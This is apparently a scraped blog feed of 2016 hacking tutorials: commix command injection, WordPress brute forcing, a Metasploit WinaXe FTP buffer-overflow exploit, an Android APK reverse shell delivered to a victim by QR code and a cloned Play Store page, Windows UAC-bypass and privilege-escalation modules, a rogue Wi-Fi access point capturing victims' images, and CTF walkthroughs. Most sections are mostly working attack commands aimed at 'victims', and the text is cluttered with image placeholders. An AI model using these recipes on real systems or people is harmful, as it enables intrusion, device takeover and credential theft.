Clik here to view.

Type the IP in the DNS lookup field and just after that start the burp suite in kali Linux. Don’t forget to set proxy in your browser while using the burp suite.

To capture the cookie of bWAPP click on proxy option then click to inception is on button, come back to bWAPP and now click to DNS.

As you can see I have capture the cookie in burp suite.

Image may be NSFW.
Clik here to view.

Open the terminal in kali Linux and type the commix command.

From fetched data under burp suite copy referrer, cookie and target use this in the following command

 commix --url="http://192.168.1.103:81/bWAPP/commandi.php" --cookie="PHPSESSID=7pegaf9inlf9iddhb7341k7se7; security_level=0" --data=target="192.168.1.103&form=submit"

This command will execute the commix tool in terminal which automatically perform command injection attack using url and cookie information in bWAPP.

Type ‘y’ to resume the classic injection point and to pseudo terminal shell.

Attack is successful commix provided a commix os shell

Commix (os_shell) > syseteminfo

Image may be NSFW.
Clik here to view.

Set security level: medium

Look at below image now I have set the security level medium, from option choose you bug select os command injection now and click on hack.

Image may be NSFW.
Clik here to view.

Repeat the process again as above, Type the IP in the DNS lookup field and just after that start the burp suite.
Click to inception is on, come back to bWAPP and now click to DNS.As you can see I have capture the cookie for medium level in burp suite.

Image may be NSFW.
Clik here to view.

From fetched data under burp suite copy referrer, cookie and target use this in the following command.

commix--url="http://192.168.1.103:81/bWAPP/commandi.php"--cookie="PHPSESSID=7pegaf9inlf9iddhb7341k7se7;security_level=1"--data=target="192.168.1.103&form=submit"

Type ‘y’ to resume the classic injection point and to pseudo terminal shell.

Attack is successful in medium security and again commix provided a commix os shell.

Commix (os_shell) > ipconfig

Image may be NSFW.
Clik here to view.

Set security level: high

After achieving os shell of low and medium my next mode is high security, now I m trying to bypass this level by repeating same process once again.

Set security high, choose your bug os command injection and click on hack.

Image may be NSFW.
Clik here to view.

Type the IP in the DNS lookup field and just after that start the burp suite in kali Linux.From fetched data under burp suite copy referrer, cookie and target use this in the following command.

Image may be NSFW.
Clik here to view.

commix--url="http://192.168.1.103:81/bWAPP/commandi.php"--cookie="PHPSESSID=7pegaf9inlf9iddhb7341k7se7;security_level=2"--data=target="192.168.1.103&form=submit"

Type ‘y’ to resume the classic injection point and to pseudo terminal shell. We have successfully bypass high level also with the same process.  

Commix (os_shell) > systeminfo

Image may be NSFW.
Clik here to view.
↧
↧

How to Secure SSH Port using Port Forwarding (Beginner Guide)

November 17, 2016, 8:54 pm
$
0
0
In this article I am going to perform how to use port forwarding in a system which is a process that redirects a communication request from a specific port to another port or host. It is basically allows an outside computer to connect to a computer in a private local area network. Some commonly done port forwarding includes forwarding port 22 for SSH access, and forwarding port 80 for web servers. The major advantage is that it provides security to your private network and secure communication.
Requirement: Kali Linux

Let start!!
Open terminal and type following command to install openssh-server in your system.

apt-get install open-server

Image may be NSFW.
Clik here to view.

After installing the application we need to start this service in our computer which will start SSH service for communication further we have to check the status of service is running or stop.
service ssh start
service ssh status

Image may be NSFW.
Clik here to view.
Yes, SSH service is active and you can see the proper running status with the time and date. 
As we know port 22 is use for ssh and here server listening on port 22.
If I want to check whether the port 22 open or close I will use nmap tool to scane the host using basic command.
SCAN YOUR HOST

root@kali:~# nmap 192.168.0.103

Image may be NSFW.
Clik here to view.

From the result of nmap scan I found port 22 open under service ssh .
Port 22 is badly affected by DDOS attack; if attacker found port 22 open for ssh they will start attacking on server. For security purpose administrator uses port forwarding techniques.
Let me show how to forward a specific port to another port.

PORT FORWARD TECHNIQUE
In kali linux open file sshd_config from computer>etc>ssh>ssd_config

Image may be NSFW.
Clik here to view.

Please look at line no.3 here protocol is listening for port 22 and now just replace 22 from1923 and save the file without changing path.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

service ssh restart
So now protocol is listening on port 1923 in place of 22. Let me confirm this with nmap scan.
USE NMAP
nmap -p 1-65535 192.168.0.103

Image may be NSFW.
Clik here to view.

Now if anybody else will scan your ip he/she will have no idea that ssh service is running on port 1923 because from result it is showing 1923 is open under spice service.
Nmap basic scan is failed because we are not getting the proper result from this basic scan. If you are having a good knowledge of Nmap scan then use advances command.
nmap -p - -A  192.168.0.103
Aggressive scan is successful , this scan penetrate under port, protocol and service as you can see port 1923 is open for ssh service.

Image may be NSFW.
Clik here to view.

USE TELNET
Same result can be found under telnet when you connect the host with port no. 1923.
telnet 192.168.0.103 1923
so if you found any port open just try to connect with telnet and you will get result which service is running on that perticular port. Look at the image result is very clear that port 1923 is listening for ssh.

Image may be NSFW.
Clik here to view.

USE NETCAT
Same purpose using netcat you will able to found current service for which 1923 is open.
 nc 192.168.0.103 1923

Image may be NSFW.
Clik here to view.

This entire task can be performed under windows system.
check whether the port 22 open or close again use Nmap scan
nmap 192.168.0.103

Image may be NSFW.
Clik here to view.

 From the result of Nmapscan I found port 22 open under service ssh.
open file sshd_config from mycomputer>local Disk(C:)>program files>OpenSSH>etc>ssd_config

Image may be NSFW.
Clik here to view.

Here protocol is listening for port 22 and now just replace 22 from3221 and save the file.

Image may be NSFW.
Clik here to view.

So now protocol is listening on port 3221 in place of 22.

Image may be NSFW.
Clik here to view.

Now open command prompt and type following command to restart the ssh service in your system.
C:\WINDOWS\SYSTEM32>net stop opensshd
C:\Users\RAJ>net start opensshd

Image may be NSFW.
Clik here to view.

Let me confirm this with Nmap scan.
nmap -A 192.168.0.103

Image may be NSFW.
Clik here to view.

It is clear from aggressive scan SSH is running on port 3221 instead of port 22.
In this way we can breach port forwarding also. 
↧

Play Youtube videos as background sound in all WebPages using Xerosploit

November 18, 2016, 6:21 am
$
0
0
Xerosploit is a penetration testing toolkit whose goal is to perform man in the middle attacks for testing purposes. It brings various modules that allow realizing efficient attacks, and also allows carrying out denial of service attacks and port scanning. Powered by bettercap and Nmap
For more detail read previous article from here.

In this article I am going to use yplay attack which will play background sound in victim browser.

Let start!!

Requirement: kali Linux& xerosploit tool

First you need to download xerosploit from github or you can visit to above link. I have already downloaded it in my tool folder.


Open terminal and start xerosploit tool ./xerosploit.py

Image may be NSFW.
Clik here to view.

This tool is very easy to use and provide complete information as you can see I have detail of my network configuration which will help me for selecting target in my network; after the tool starts it will ask to type help to view its command for attack. Go with this comment and type help.

 help

Image may be NSFW.
Clik here to view.

 In this grid we have list of commands for our attack and we are going for man in middle attack so I will choose scan command in my next step for scanning the whole network.

 Scan

This command will scan complete network and found devices on your network.

Image may be NSFW.
Clik here to view.

There are so many hosts in this network; you have to choose your target from given result. I am going to select 192.168.1.19 for man in middle attack.

 192.168.1.19

In next comment it will ask for module you want to load for man in middle attack. Go with this comment and type help.

 help

Image may be NSFW.
Clik here to view.

Look at the list of modules and I would select yplay for modules which will play you tube videos as background sound in all web pages when victim will search for any web site in his/her browser. Open your browser and choose your favorite video in YouTube which you want to play in background in victim’s browser.

Image may be NSFW.
Clik here to view.

If video having any advertisement then skip that and select id from url. Look at image as I have selected the video idand copy it. Come back to xerosploit.
Yplay

To execute yplay module for attack type run.
Run

 Insert you tube video ID which you have copy above from url in next step.

yplay ➮ Wd2B8OAotU8

Image may be NSFW.
Clik here to view.
↧

5 ways to Brute Force Attack on Wordpress Website

November 18, 2016, 9:22 am
$
0
0
Brute force attack using Burp Suite


To make Burp Suite work, firstly, we have to turn on manual proxy and for that go to the settings and choose Preferences. Then select advanced option and further go to Network then select Settings.

Image may be NSFW.
Clik here to view.

Now, select Manual proxy Configuration type your localhost address in HTTP proxy tab and set port to 8080. Click OK

Image may be NSFW.
Clik here to view.

Now open the Wordpress in your pc and it will ask you the username and password. Here, before giving username and password start burp suite and select Proxy tab and turn on interception by clicking on Interception is on/off button.

Image may be NSFW.
Clik here to view.

When you turn on the interception then type any password of your predictions so that the burp suite can capture it. Look at image please notice the last line in fetched data it is show that I tried to login by type admin:admin as username and password respectively.

Image may be NSFW.
Clik here to view.

Send the captured material to the intruder by right clicking on the space and choosing Send to Intruder option or simply press ctrl + i

Image may be NSFW.
Clik here to view.

Now open the Intruder tab then select Positions tab without disturbing data click on clear button on right side of frame

Image may be NSFW.
Clik here to view.

Now select the following as I have selected in the image and click on add button on the right side of frame. This will configure the position where payloads will be inserted into the base request.

Image may be NSFW.
Clik here to view.

Select the type of attack to determine the way in which payload are assigned to payload positions. I will choose cluster bomb as the number of payload set is depend upon attack type and we are having 2 payload positions. Click on start attack.

Image may be NSFW.
Clik here to view.

Click on payload set which will show two numeric numbers 1 and 2 select number 1for first payload position. Further click on load button in payload option and configure your simple list string that will use as payload or you can add path of any dictionary username only. Similarly select number 2 for another payload position. Add path of any dictionary having password only. Click on start attack.

Now brute attack will match the combination of both payload and try to login in with username and password.

When attack will finished you would get the sure credential by checking status and length which would be different from rest of combination.

From result user:bitnami is username and password respectively.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Brute force attack using wpscan
WPScan is a black box vulnerability scanner for WordPress which is already installed by default in Kali Linux. For Wordpress brute force you need a good dictionary or can make your own dictionary for attack.

ruby ./wpscan.rb –url 192.168.1.14 – wordlist /root/Desktop/pass.txt –username user

In this brute force attack I have just added wordlist for password. From result user:bitnami is login and passwordrespectively.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Brute force attack using metasploit
This module will test WordPress logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module, it will record successful logins and hosts so you can track your access.

msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.4
msf auxiliary(wordpress_login_enum) > set rport 80
msf auxiliary(wordpress_login_enum) > set user_file /root/Desktop/user.txt
msf auxiliary(wordpress_login_enum) > set pass_file /root/Desktop/pass.txt
msf auxiliary(wordpress_login_enum) > exploit

WordPress brute force successful for login user:bitnami  as username and password.

Image may be NSFW.
Clik here to view.

Brute force attack using OWASP ZAP
Zap is an easy to use integrated penetration testing tool for finding the vulnerabilities in web application. Now we will use this tool for brute force attack and the whole process is same as burp suite.

Start OWASP ZAP and turn on manual proxy and for that go to the settings and choose Preferences. Then select advanced option and further go to Network then select Settings. Select Manual proxy Configuration type your localhost address in HTTP proxy tab and set port to 8080. Click OK

Now once again open the Wordpress in your pc and it will predict the username and password.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

It will capture the data as you can see I have login with user as username and passwordas password. You can see it in the Request section of the toolselect the character which you have entered in the page before. Therefore I will select only password from fetched data then use right click for fuzz option.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

When you click on fuzz a new window ‘fuzzer’will get open, now you have to click on add button on left of frame it will open a new window add payload. Click on select and choose your dictionary for attack.

Again click on add button and then click on start fuzzer.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

After starting fuzzing again a new screen will open click on option button click to depth first radio button for payload replacement strategy. Select the check box of follow redirects and click to start fuzzing.

Image may be NSFW.
Clik here to view.

When attack will finished you would get the sure credential by checking state and size response header which would be different from rest of combination.

From result bitnami is password for login user.

Image may be NSFW.
Clik here to view.

Brute force attack using Nmap

This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the credentials library.

Open Kali terminal type following Nmap command

 nmap –sV – script http-wordpress-brute – script-args ‘userdb=/root/Desktop/login.txt,passdb=/root/Desktop/pass.txt, http-wordpress-brute.hostname=domain.com,http-wordpress-brute.thread=3,brute.firstonly=true’ 192.168.1.17

Image may be NSFW.
Clik here to view.
↧

Exploit Windows 10 pc using WinaXe 7.7 FTP Client Remote Buffer Overflow

November 19, 2016, 8:35 am
$
0
0
This module exploits a buffer overflow in the WinaXe 7.7 FTP client. This issue is triggered when a client connects to the server and is expecting the Server Ready response.

Exploit Targets
WinaXe 7.7 FTP client

Requirement
Attacker: kali Linux
Victim PC: Windows 10


Open Kali terminal type msfconsole

Image may be NSFW.
Clik here to view.

Now type use exploit/windows/ftp/winaxe_server_ready
msf exploit (winaxe_server_ready)>set lhost 192.168.0.106
msf exploit (winaxe_server_ready)>set srvhost 192.168.0.106
msf exploit (winaxe_server_ready)>set payload windows/meterpreter/reverse_tcp
msf exploit (winaxe_server_ready)>exploit          

Image may be NSFW.
Clik here to view.

Now send the link to the victim when victim, enter in connection details and wait for the FTP connectionWinaXe ftp. You will get victim meterpreter session.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

↧
↧

Hack Android Phone using HTA Attack with QR Code

November 21, 2016, 9:31 am
$
0
0
QR Code is a 2 dimensional barcode which can be scanned using Smartphone’s or dedicated QR Readers. These QR Codes are directly linked to contact numbers, websites, usernames, photos, SMS, E-mails and even encryptions but they do not end here. QR Codes are big deal in Japan and it’s just a matter of time when take over whole world as there is growth in SEO.
Till now every one of you must have understood that QR Codes is the ‘next big thing’, let’s make it a big thing but in regards to hacking. Yes! In this article we are going to hack our victim’s mobile in some easy steps using QR Code. And all you need for this is your beloved Kali Linux.
Our step is to create a pernicious file using msfvenom.


Msfvenom –p android/meterpreter/reverse_tcp lhost=192.168.1.100 lport=6666 > /root/Desktop/Launcher.apk

Image may be NSFW.
Clik here to view.

Now open SET. Through SET we will alter HTA attack into an APK attack to gain access of the victim’s Smartphone. Thus, from the SET menu select 2nd option which indicates Website Attack Vectors?

Image may be NSFW.
Clik here to view.

Then further select 8th option which refers to HTA Attack Method.

Image may be NSFW.
Clik here to view.

And then select Site Cloner by typing 2.

Image may be NSFW.
Clik here to view.

When you type the said 2 option, it will ask you enter the URL that you want to clone. Here give the URL of play store: https://play.google.com/store

Image may be NSFW.
Clik here to view.

Then when it asks you to select meterpreter option type 3 as we want to select reverse_tcp.

Image may be NSFW.
Clik here to view.

Furthermore, save the launcher.apk file that you created using msfvenom to /var/www/html/

Image may be NSFW.
Clik here to view.

Also the change the name of launcher.hta to lancher.apk that your SET had just created as shown below

Image may be NSFW.
Clik here to view.

Now add The QR Code Extension to your chrome.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

The QR Code Extension wills generate a QR Code for you according to your attack.

Image may be NSFW.
Clik here to view.
Now start multi/handler so you have your session in time and for this type:
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 6666
run

Image may be NSFW.
Clik here to view.

Now you can move ahead and make the victim scan your code. And install the app.

Image may be NSFW.
Clik here to view.

And Voila!! As soon as scanning of the code will be completed, you will have your meterpreter session.

Image may be NSFW.
Clik here to view.
↧

7 Ways to Get Admin Access of Remote Windows PC (Bypass Privilege Escalation)

November 23, 2016, 7:19 am
$
0
0
When you exploit the victim pc there would be certain limits which resist performing some action even after you are having the shell of victim’s pc. To get complete access of your victim pc; you need to bypass privilege escalation where a user receives privileges they are not authorize to. These privileges can be used to delete files, view private information, or install unwanted programs such as viruses. Metasploit has various other post exploits that will use a number of different techniques to attempt to gain system level privileges on the remote system.

Requirement
Attacker: kali Linux
Victim PC: Windows 7 

Open kali Linux terminal type msfconsole

Use payload for windows and start multi/handler for reverse connection. Once you hacked the victim pc now go for privilege escalation using following techniques

Windows Escalate UAC Protection Bypass

Available targets: Windows x32 and Windows x64 bit

This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off.

msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit


Give a look at image when you will use getuid command it ask for user ID that is username: pc10; after using getsystem now username is system. Again use getuid command now you are having admin access.

Image may be NSFW.
Clik here to view.

Windows Escalate UAC Protection Bypass (In Memory Injection)

Available targets: Windows x32 and Windows x64 bit

This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should call Exit Process () after starting your payload in a separate process.

msf > use exploit/windows/local/bypassuac_injection
msf exploit(bypassuac_injection) > set session 1
msf exploit(bypassuac_injection) > exploit

Use getsystem command and then go for user ID by typing getuid command in meterpreter.

Image may be NSFW.
Clik here to view.

Windows Escalate UAC Protection Bypass (Script Host Vulnerability)

 Available targets: Windows x32 and Windows x64 bit

This module will bypass Windows UAC by utilizing the missing .manifest on the script host cscript/wscript.exe binaries.

msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

use getsystem command and then go for user ID by typing getuid command in meterpreter.

Image may be NSFW.
Clik here to view.

Windows Escalate UAC Execute RunAs

 Available targets: Windows x32 and Windows x64 bit

This module will attempt to elevate execution level using the Shell Execute undocumented Run As flag to bypass low UAC settings. Ask always uses a self-generated payload which is easily detected by AV. Click yes to allow the payload to create another reverse shell with elevated privileges.

msf > use windows/local/ask
msf exploit(ask) > set session 1
msf exploit(ask) > exploit

Use getsystem command and then go for user ID by typing getuid command in meterpreter.

Image may be NSFW.
Clik here to view.

MS16-032 Secondary Logon Handle Privilege Escalation

Available targets: Windows x32 and Windows x64 bit

This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.

msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

Use getsystem command and then go for user ID by typing getuid command in meterpreter.

Image may be NSFW.
Clik here to view.

MS16-016 mrxdav.sys WebDav Local Privilege Escalation

Available targets: Windows x32 bit

This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process.

msf exploit(ms16_016_webdav) >set session 1
msf exploit(ms16_016_webdav) > exploit

Use getsystem command in meterpreter for admin access of pc.

Image may be NSFW.
Clik here to view.

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

Available targets: Windows 732 bit

This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shell code nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when a meterpreter session started by this exploit exits, winlogin.exe is likely to crash.

msf exploit(ms13_053_schlamperei) >set session 1
msf exploit(ms13_053_schlamperei) >exploit

Use getsystem command and then go for user ID by typing getuid command in meterpreter.

Image may be NSFW.
Clik here to view.
↧
Search

Hack the SkyDog Con CTF 2016 - Catch Me If You Can VM

November 24, 2016, 9:02 am
$
0
0
SkyDog is the second VM in CTF Root2Boot series created by James Brower. It is configured with DHCP so the IP will be given to it automatically. This VM is based on Catch me if you can which is movie about Frank who is conman. So it is correct to assume that a broad OSINT concept will be used in it. This is an amazing VM as it uses about hacking and forensic skills. The author of this VM has given us hints about all the eight flags as below :

Flag #1 : Don’t go Home Frank! There’s a Hex on Your House.
Flag #2 : Obscurity or Security?
Flag #3 : Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.
Flag #4 : A Good Agent is Hard to Find.
Flag #5 : The Devil is in the Details - Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices
Flag #6 :  Where in the World is Frank?
Flag #7 : Frank Was Caught on Camera Cashing Checks and Yelling - I’m The Fastest Man Alive!
Flag #8 : Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!
Except this we know that the flags are in MD5 Hash. You can download it from : https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/.

WalkThrough
Let us find our target first.

netdiscover

Image may be NSFW.
Clik here to view.

Now that we know our target is 192.168.1.27. Let’s fire up nmap scan.
nmap –p- -A 192.168.1.27

Image may be NSFW.
Clik here to view.

Nmap shows that four ports are opened which are : 22, 80, 443, 22222with the services of SSH(closed), HTTP, HTTPS, SSH(open).
The port 80 is opened as well as 443 so let’s open our target in browser and see what we can find there.

Image may be NSFW.
Clik here to view.

There was nothing on the webpage except the information on the lab so I visited it page source.

Image may be NSFW.
Clik here to view.

In the page source there was a directy /oldie/html5.js. I opened it and found the page very confusing but then I looked at the first flag’s hint i.e. Flag #1 : Don’t go Home Frank! There’s a Hex on Your House. And then it clicked me in the hint says something about hex and so the first line is our first flag but in hex.

Image may be NSFW.
Clik here to view.

So I copied it and paste it to the asciitohex.com. And it will decode the hex and you will have the first flag in MD5 hash value.

Image may be NSFW.
Clik here to view.


Use the online webpage to crack the MD5 code like we have done in the following image :

Image may be NSFW.
Clik here to view.

Our first flag is nmap as we already know that this is hint for next flag that means our next flag is related to nmap. So I looked closely to all ports and then I decided to open SSH which was opened on 22222 port.
Image may be NSFW.
Clik here to view.

And yes! We have found our second flag. Let’s crack it with hash value.

Image may be NSFW.
Clik here to view.

Our second flag is encrypt that means our third flag is related to encryption. Let’s check the hint given for the third flag. Flag #3 : Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.  Now in the hint it says something intercepting the traffic. Now intercepting the traffic is related to SLL certificate. To check the certificate click on the logo of Secure Connection. And then click on the arrow for the next menu.

Image may be NSFW.
Clik here to view.

From the drop down menu then appears select More Information tab.

Image may be NSFW.
Clik here to view.

It will open a dialogue box just like on as shown below :

Image may be NSFW.
Clik here to view.

From this dialogue box, select security tab and then click on View Certificate button. In the certificate you will find the third flag.

Image may be NSFW.
Clik here to view.

Again crack it through MD5 cracker.

Image may be NSFW.
Clik here to view.

So our third flag seems to be personnel. This personnel could be a directory so open it in the browser.

Image may be NSFW.
Clik here to view.

When we open the personnel directory, it says that access is denied. That means there is a log in portal somewhere here to which our access is denied. So I went back to the previous directory that we had found and explored a bit there and I found there that the FBI workstations work on MIE 4.0. that means there was a problem of browser.

Image may be NSFW.
Clik here to view.


Now I could not find any User Agent which had an MIE 4.0 so I decided to use BurpSuite. I captured it cookies.

Image may be NSFW.
Clik here to view.

In the cookies you can see that the browser used is Linux x86_64. I changed to MSIE 4.0 as shown below :

Image may be NSFW.
Clik here to view.

And then when I forwarded through BurpSuite, thus, the page opened in the browser giving us our third flag.

Image may be NSFW.
Clik here to view.

Now decode this flag’s value and add ‘new’ to it.

Image may be NSFW.
Clik here to view.

Upon cracking our flag is evidence, and by adding new to it our forth flag becomes – new evidence. Now this again could be a directly like the previous flags. Open it in browser. 

Image may be NSFW.
Clik here to view.


And yes!! We have log in portal. Here, for the username and the password I figured OSINT must have been used. So I gathered every information about the movie I could and I even watched the movie. For the whole two days I searched and searched But alas! I found nothing. And then I referred to the author’s walkthrough and got the username and password that is carl.hanratty and Grace respectively.
Now upon log in the newevidence directory opens.

Image may be NSFW.
Clik here to view.


There was nothing on the page so looked on to the page source.

Image may be NSFW.
Clik here to view.


In the page source we found three directories from which invoice.pdf proved to be useless. LOL! But not to worry we have other two directories. Lets open Evidence.txt.

Image may be NSFW.
Clik here to view.


And yes! We have found our fifth flag. Upon cracking the MD5 value, the flag is panam. Five flags down, four to go.

Image may be NSFW.
Clik here to view.

Now let’s have a look on the other directory that we had found.
Image may be NSFW.
Clik here to view.


Save this image. I tried to read this image through exiftool but it did not work. So I tried steghide.
steghide extract –sf image.jpg

Image may be NSFW.
Clik here to view.

We have got our sixth flag now which is ILoveFrance. You can decode this flag’s MD5 value but it will still give ILoveFrance. And we also have a clue i.e. iheartbrenda. This flag and clue are both important, make its note.
For our seventh flag we have the hint -- Flag #7 : Frank Was Caught on Camera Cashing Checks and Yelling - I’m The Fastest Man Alive! In this hint it says “I am the fastest man alive” this is the pet dialogue of The Flash. And even in the movie Frank uses a fake name Barry Allen.



Image may be NSFW.
Clik here to view.

This can be our username. Lets log in through SSH port using bary allen username. When it asked for password I tried both ILoveFrance and iheartbrenda and fortunately iheartbrenda was the correct password.

Image may be NSFW.
Clik here to view.

To have root’s access we used web_delivery exploit. We made that exploit using python script. To do so open metasploit by typing msfconsole in thr terminal of kali and then further type :

use exploit/multi/script/web_delivery
set target 0
set payload python/mertrepreter/reverse_tcp
set lhost 192.168.1.21
set lport 4444
exploit

Image may be NSFW.
Clik here to view.

It will create a code. Copy that code and paste it on the terminal.

Image may be NSFW.
Clik here to view.

As soon as you will hit enter, a mterpreter session will open and then type:
session –I 1
pwd
ls

Image may be NSFW.
Clik here to view.

It will show a flag.txt but it will not be considered as our last flag as this is not in the form of MD5 hash as it was instructed by the created.

Image may be NSFW.
Clik here to view.

I explored here a lot and then I download security-system.data.zip as I had a instinct that this could be useful. This was a RAM file. I read it using volatility software. For this type :
volatility-2.3.1.standalone.exe –f security-system.data.zip imageinfo

Image may be NSFW.
Clik here to view.


volatility-2.3.1.standalone.exe –f security-system.data.zip –profile=WinXPSP2x86 consoles

Image may be NSFW.
Clik here to view.

And we have captured our last flag. HURRAAYYYYY!!!!!! All the flags have been captured. Enjoy! 
↧

Capture Images in Victim,s Mobile using Driftnet through Wifi Pumpkin

November 25, 2016, 9:15 pm
$
0
0
WiFi-Pumpkin is an open source security tool that provides the Rogue access point to Man-In-The-Middle and network attacks. Using WiFi Pumpkin, one can create a wifi network that captures all the requests made within the network by any device that connects to the network.

First of all u need to download WiFi Pumpkin and install it in your Kali Linux. To download WiFi Pumpkin, go to https://github.com/P0cL4bs/WiFi-Pumpkin and click on Clone or Download. Thereafter, copy the url to clipboard and open the terminal. Type in :-

 git clone "url copied to clipboard"

Next, go to the directory of WiFi Pumpkin on the terminal. For eg. if the repo is downloaded to the Desktop, type:

cd Desktop/WiFi-Pumpkin
./installer.sh --install

Thereafter, run wifi-pumpkin:

Image may be NSFW.
Clik here to view.

This will open the gui version of WiFi-Pumpkin. Now select the network adapter and change the SSID from PumpAP and rename it as desired.

Image may be NSFW.
Clik here to view.

Thereafter click on the Start button. This will create a new wifi-zone with the name entered in the SSID field.

Image may be NSFW.
Clik here to view.

Now as soon as any device connects to this wifi network, its details will be shown in the table at the right. Select any target device from the list of connected device/s and select Active Driftnet from the Tools menu.  

Image may be NSFW.
Clik here to view.

As soon as Driftnet starts, it will start sending screenshots from the victim's desktop/mobile. This will also capture the images of facebook.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.
↧
↧

4 Ways to get Linux Privilege Escalation

November 27, 2016, 10:02 am
$
0
0
When you exploit the victim pc there would be certain limits which resist performing some action even after you are having the shell of victim’s pc. To get complete access of your victim pc; you need to bypass privilege escalation where a user receives privileges they are not authorize to. These privileges can be used to delete files, view private information, or install unwanted programs such as viruses. Metasploit has various other post exploits that will use a number of different techniques to attempt to gain system level privileges on the remote system. But apart from it there are some scripts for Linux that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits. This type of script could save your much time.

Use payload for Linux and start multi/handler for reverse connection. Once you hacked the victim pc now go for privilege escalation using following scripts.

LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum:

Privileged access: Diagnose if the current user has sudo access without a password; whether the root’s home directory accessible.

System Information: Hostname, Networking details, Current IP and etc.

User Information: Current user, List all users including uid/gid information, List root accounts, Checks if password hashes are stored in /etc/passwd
Kernel and distribution release details.


Git clone https://github.com/rebootuser/LinEnum.git

Image may be NSFW.
Clik here to view.

Once you download this script from there you can simply run it by tying ./LinEnum.sh on terminal. Hence it will dump all fetched data and system details.

./LinEnum.sh

Image may be NSFW.
Clik here to view.

Linuxprivchecker

Enumerates the system configuration and runs some privilege escalation checks as well. It is a python implementation to suggest exploits particular to the system that's been taken under. To download the script click on the link http://www.securitysift.com/download/linuxprivchecker.py

Now to use this script just type python linuxprivchecke.py on terminal and this will enumerate file and directory permissions/contents. This script works same as LinEnum and hunts details related to system network and user.

python linuxprivchecker.py

Image may be NSFW.
Clik here to view.

Linux Exploit Suggester

It is based on operating system release number. This program will perform a 'uname -r' to grab the Linux Operating Systems release version, and return a suggestive list of possible exploits. Additionally possible to provide '-k' flag to manually enter the Kernel Version. It is a Perl script that does not exactly same as above. Type following to download this script:

git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

Image may be NSFW.
Clik here to view.

If you are aware from the kernel version then directly execute the script by typing following on terminal:
./Linux_Exploit_Suggester.pl -k 3.5

If not then type ./Linux_Exploit_Suggester.pl uname –r to know the version of your kernel and go for above command and replace my kernel version from yours.  Hence it suggests the possible exploit for privilege escalation.

Image may be NSFW.
Clik here to view.

Unix-Privesc-checker

 Shell script to check privilege escalation vectors on UNIX systems. Unix-privesc-checker is a script that runs on UNIX systems and Linux system. It seek to find misconfigurations that could allow a not authorize users to escalate privileges to other users or to access local apps.

It is written as a single shell script so it can be easily uploaded and execute. It can be execute either as a normal user or as root. When it finds a group-writable file or directory it only flags an issue if that group has more than one non-root member.

To download this script type following on terminal
Git clone https://github.com/pentestmonkey/unix-privesc-check.git

Unzip the folder and execute the script by typing following

unix-privesc-check standard

Image may be NSFW.
Clik here to view.

So you can also check the way I am using these script from given images which could help you in a better way. And similarly use another command for same purpose.
unix-privesc-check detailed

Image may be NSFW.
Clik here to view.
↧

Hack the Seattle VM (CTF Challenge)

November 28, 2016, 3:19 am
$
0
0
This is another article for Boot2Root series in CTF challenges. This lab is prepared by HollyGracefull. This is just a preview of the original lab which stimulates the Ecommerce web application which contains common security errors. Current vulnerabilities are listed below :

·         SQL Injection (Error-based)
·         SQL Injection (Blind)
·         Reflected Cross-Site Scripting
·         Stored Cross-Site Scripting
·         Insecure Direct-Object Reference
·         Username Enumeration
·         Path Traversal
·         Exposed phpinfo()
·         Exposed Administrative Interface
·         Weak Admin Credentials

WalkThrough

Firstly, let’s locate our target.

Image may be NSFW.
Clik here to view.


Our target is 192.168.1.8. Let’s scan it with nmap.

nmap –p- -A 192.168.1.8

Image may be NSFW.
Clik here to view.


The only port we found open was 80. Next we fire up the nikto.

nikto –h 192.168.1.8

Image may be NSFW.
Clik here to view.

